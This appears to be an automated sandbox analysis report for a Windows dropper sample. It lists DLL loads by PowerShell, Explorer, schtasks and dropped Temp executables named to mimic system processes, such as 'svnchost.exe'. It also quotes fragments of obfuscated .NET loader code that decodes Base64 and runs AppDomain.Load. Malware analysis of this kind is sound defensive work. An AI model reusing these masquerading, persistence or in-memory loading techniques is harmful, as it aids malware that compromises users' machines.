Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe Section loaded: mscoree.dll
Source: C:\Windows\explorer.exe Section loaded: amsi.dll
Source: C:\Windows\explorer.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\explorer.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\explorer.exe Section loaded: rsaenh.dll
Source: C:\Windows\explorer.exe Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe Section loaded: profapi.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: aepic.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: twinapi.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: ninput.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: actxprxy.dll
Source: C:\Windows\explorer.exe Section loaded: aepic.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe Section loaded: userenv.dll
Source: C:\Windows\explorer.exe Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: propsys.dll
Source: C:\Windows\explorer.exe Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe Section loaded: wininet.dll
Source: C:\Windows\explorer.exe Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe Section loaded: wldp.dll
Source: C:\Windows\explorer.exe Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe Section loaded: srvcli.dll
Source: C:\Windows\explorer.exe Section loaded: netutils.dll
Source: C:\Windows\explorer.exe Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe Section loaded: ninput.dll
Source: C:\Windows\explorer.exe Section loaded: explorerframe.dll
Source: C:\Windows\explorer.exe Section loaded: actxprxy.dll
Source: C:\Windows\explorer.exe Section loaded: sxs.dll
Source: C:\Windows\explorer.exe Section loaded: textinputframework.dll
Source: C:\Windows\explorer.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\explorer.exe Section loaded: wintypes.dll
Source: C:\Windows\explorer.exe Section loaded: wintypes.dll
Source: C:\Windows\explorer.exe Section loaded: wintypes.dll
Source: C:\Windows\explorer.exe Section loaded: dui70.dll
Source: C:\Windows\explorer.exe Section loaded: duser.dll
Source: C:\Windows\explorer.exe Section loaded: windowscodecs.dll
Source: C:\Windows\explorer.exe Section loaded: profapi.dll
Source: C:\Windows\explorer.exe Section loaded: thumbcache.dll
Source: C:\Windows\explorer.exe Section loaded: policymanager.dll
Source: C:\Windows\explorer.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\explorer.exe Section loaded: dataexchange.dll
Source: C:\Windows\explorer.exe Section loaded: d3d11.dll
Source: C:\Windows\explorer.exe Section loaded: dcomp.dll
Source: C:\Windows\explorer.exe Section loaded: textshaping.dll
Source: C:\Windows\explorer.exe Section loaded: windows.ui.fileexplorer.dll
Source: C:\Windows\explorer.exe Section loaded: oleacc.dll
Source: C:\Windows\explorer.exe Section loaded: edputil.dll
Source: C:\Windows\explorer.exe Section loaded: uiribbon.dll
Source: C:\Windows\explorer.exe Section loaded: xmllite.dll
Source: C:\Windows\explorer.exe Section loaded: atlthunk.dll
Source: C:\Windows\explorer.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\explorer.exe Section loaded: wkscli.dll
Source: C:\Windows\explorer.exe Section loaded: windows.fileexplorer.common.dll
Source: C:\Windows\explorer.exe Section loaded: mpr.dll
Source: C:\Windows\explorer.exe Section loaded: drprov.dll
Source: C:\Windows\explorer.exe Section loaded: winsta.dll
Source: C:\Windows\explorer.exe Section loaded: ntlanman.dll
Source: C:\Windows\explorer.exe Section loaded: davclnt.dll
Source: C:\Windows\explorer.exe Section loaded: davhlpr.dll
Source: C:\Windows\explorer.exe Section loaded: cscapi.dll
Source: C:\Windows\explorer.exe Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe Section loaded: dlnashext.dll
Source: C:\Windows\explorer.exe Section loaded: playtodevice.dll
Source: C:\Windows\explorer.exe Section loaded: devdispitemprovider.dll
Source: C:\Windows\explorer.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\explorer.exe Section loaded: mmdevapi.dll
Source: C:\Windows\explorer.exe Section loaded: devobj.dll
Source: C:\Windows\explorer.exe Section loaded: windows.staterepositoryclient.dll
Source: C:\Windows\explorer.exe Section loaded: wpdshext.dll
Source: C:\Windows\explorer.exe Section loaded: portabledeviceapi.dll
Source: C:\Windows\explorer.exe Section loaded: msasn1.dll
Source: C:\Windows\explorer.exe Section loaded: ehstorshell.dll
Source: C:\Windows\explorer.exe Section loaded: ehstorapi.dll
Source: C:\Windows\explorer.exe Section loaded: secur32.dll
Source: C:\Windows\explorer.exe Section loaded: version.dll
Source: C:\Windows\explorer.exe Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe Section loaded: networkexplorer.dll
Source: C:\Windows\explorer.exe Section loaded: linkinfo.dll
Source: C:\Windows\explorer.exe Section loaded: ehstorshell.dll
Source: C:\Windows\explorer.exe Section loaded: cscui.dll
Source: C:\Windows\explorer.exe Section loaded: winmm.dll
Source: C:\Windows\explorer.exe Section loaded: structuredquery.dll
Source: C:\Windows\explorer.exe Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: aepic.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: twinapi.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: svnchost.lnk.1.dr LNK file: ..\..\..\..\..\..\Local\Temp\svnchost.exe
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: explorer.pdbUGP source: explorer.exe, 00000001.00000003.2570892864.0000000012D71000.00000004.00000800.00020000.00000000.sdmp, svnchost.exe, 00000017.00000000.2575974352.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000017.00000002.2607806502.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000002.2706850189.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000000.2692780157.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000002.2847292126.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000000.2784653334.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000002.2893756726.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000000.2880083955.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe.1.dr
Source: Binary string: explorer.pdb source: explorer.exe, 00000001.00000003.2570892864.0000000012D71000.00000004.00000800.00020000.00000000.sdmp, svnchost.exe, 00000017.00000000.2575974352.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000017.00000002.2607806502.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000002.2706850189.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001A.00000000.2692780157.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000002.2847292126.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 0000001D.00000000.2784653334.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000002.2893756726.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000022.00000000.2880083955.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe.1.dr

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{dop4CyMtBLO.IBKjuahTi6O,dop4CyMtBLO.FK9RbgVCW3w,dop4CyMtBLO.m6AxQgvT1Nv,dop4CyMtBLO.y4YDYaWME50,EkyJsjgLqdm.hI6rcMD4FS2()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{opjO67rw6mh[2],EkyJsjgLqdm.Sq4NnL7rASO(Convert.FromBase64String(opjO67rw6mh[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { opjO67rw6mh[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{dop4CyMtBLO.IBKjuahTi6O,dop4CyMtBLO.FK9RbgVCW3w,dop4CyMtBLO.m6AxQgvT1Nv,dop4CyMtBLO.y4YDYaWME50,EkyJsjgLqdm.hI6rcMD4FS2()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{opjO67rw6mh[2],EkyJsjgLqdm.Sq4NnL7rASO(Convert.FromBase64String(opjO67rw6mh[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { opjO67rw6mh[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{dop4CyMtBLO.IBKjuahTi6O,dop4CyMtBLO.FK9RbgVCW3w,dop4CyMtBLO.m6AxQgvT1Nv,dop4CyMtBLO.y4YDYaWME50,EkyJsjgLqdm.hI6rcMD4FS2()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{opjO67rw6mh[2],EkyJsjgLqdm.Sq4NnL7rASO(Convert.FromBase64String(opjO67rw6mh[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { opjO67rw6mh[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{dop4CyMtBLO.IBKjuahTi6O,dop4CyMtBLO.FK9RbgVCW3w,dop4CyMtBLO.m6AxQgvT1Nv,dop4CyMtBLO.y4YDYaWME50,EkyJsjgLqdm.hI6rcMD4FS2()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{opjO67rw6mh[2],EkyJsjgLqdm.Sq4NnL7rASO(Convert.FromBase64String(opjO67rw6mh[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { opjO67rw6mh[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{dop4CyMtBLO.IBKjuahTi6O,dop4CyMtBLO.FK9RbgVCW3w,dop4CyMtBLO.m6AxQgvT1Nv,dop4CyMtBLO.y4YDYaWME50,EkyJsjgLqdm.hI6rcMD4FS2()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{opjO67rw6mh[2],EkyJsjgLqdm.Sq4NnL7rASO(Convert.FromBase64String(opjO67rw6mh[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { opjO67rw6mh[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{dop4CyMtBLO.IBKjuahTi6O,dop4CyMtBLO.FK9RbgVCW3w,dop4CyMtBLO.m6AxQgvT1Nv,dop4CyMtBLO.y4YDYaWME50,EkyJsjgLqdm.hI6rcMD4FS2()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{opjO67rw6mh[2],EkyJsjgLqdm.Sq4NnL7rASO(Convert.FromBase64String(opjO67rw6mh[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 33.2.explorer.exe.1f70000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { opjO67rw6mh[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{dop4CyMtBLO.IBKjuahTi6O,dop4CyMtBLO.FK9RbgVCW3w,dop4CyMtBLO.m6AxQgvT1Nv,dop4CyMtBLO.y4YDYaWME50,EkyJsjgLqdm.hI6rcMD4FS2()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{opjO67rw6mh[2],EkyJsjgLqdm.Sq4NnL7rASO(Convert.FromBase64String(opjO67rw6mh[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 33.2.explorer.exe.213cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { opjO67rw6mh[2] }}, (string[])null, (Type[])null, (bool[])null, true)
.NET source code contains potential unpacker
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: GNGDJ3tb6v0 System.AppDomain.Load(byte[])
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY System.AppDomain.Load(byte[])
Source: 1.2.explorer.exe.2a80000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: GNGDJ3tb6v0 System.AppDomain.Load(byte[])
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY System.AppDomain.Load(byte[])
Source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: GNGDJ3tb6v0 System.AppDomain.Load(byte[])
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY System.AppDomain.Load(byte[])
Source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: GNGDJ3tb6v0 System.AppDomain.Load(byte[])
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY System.AppDomain.Load(byte[])
Source: 19.2.explorer.exe.2d20000.0.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: GNGDJ3tb6v0 System.AppDomain.Load(byte[])
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY System.AppDomain.Load(byte[])
Source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, m3bwCv6XjQu.cs .Net Code: _5jeiGaJZOlY
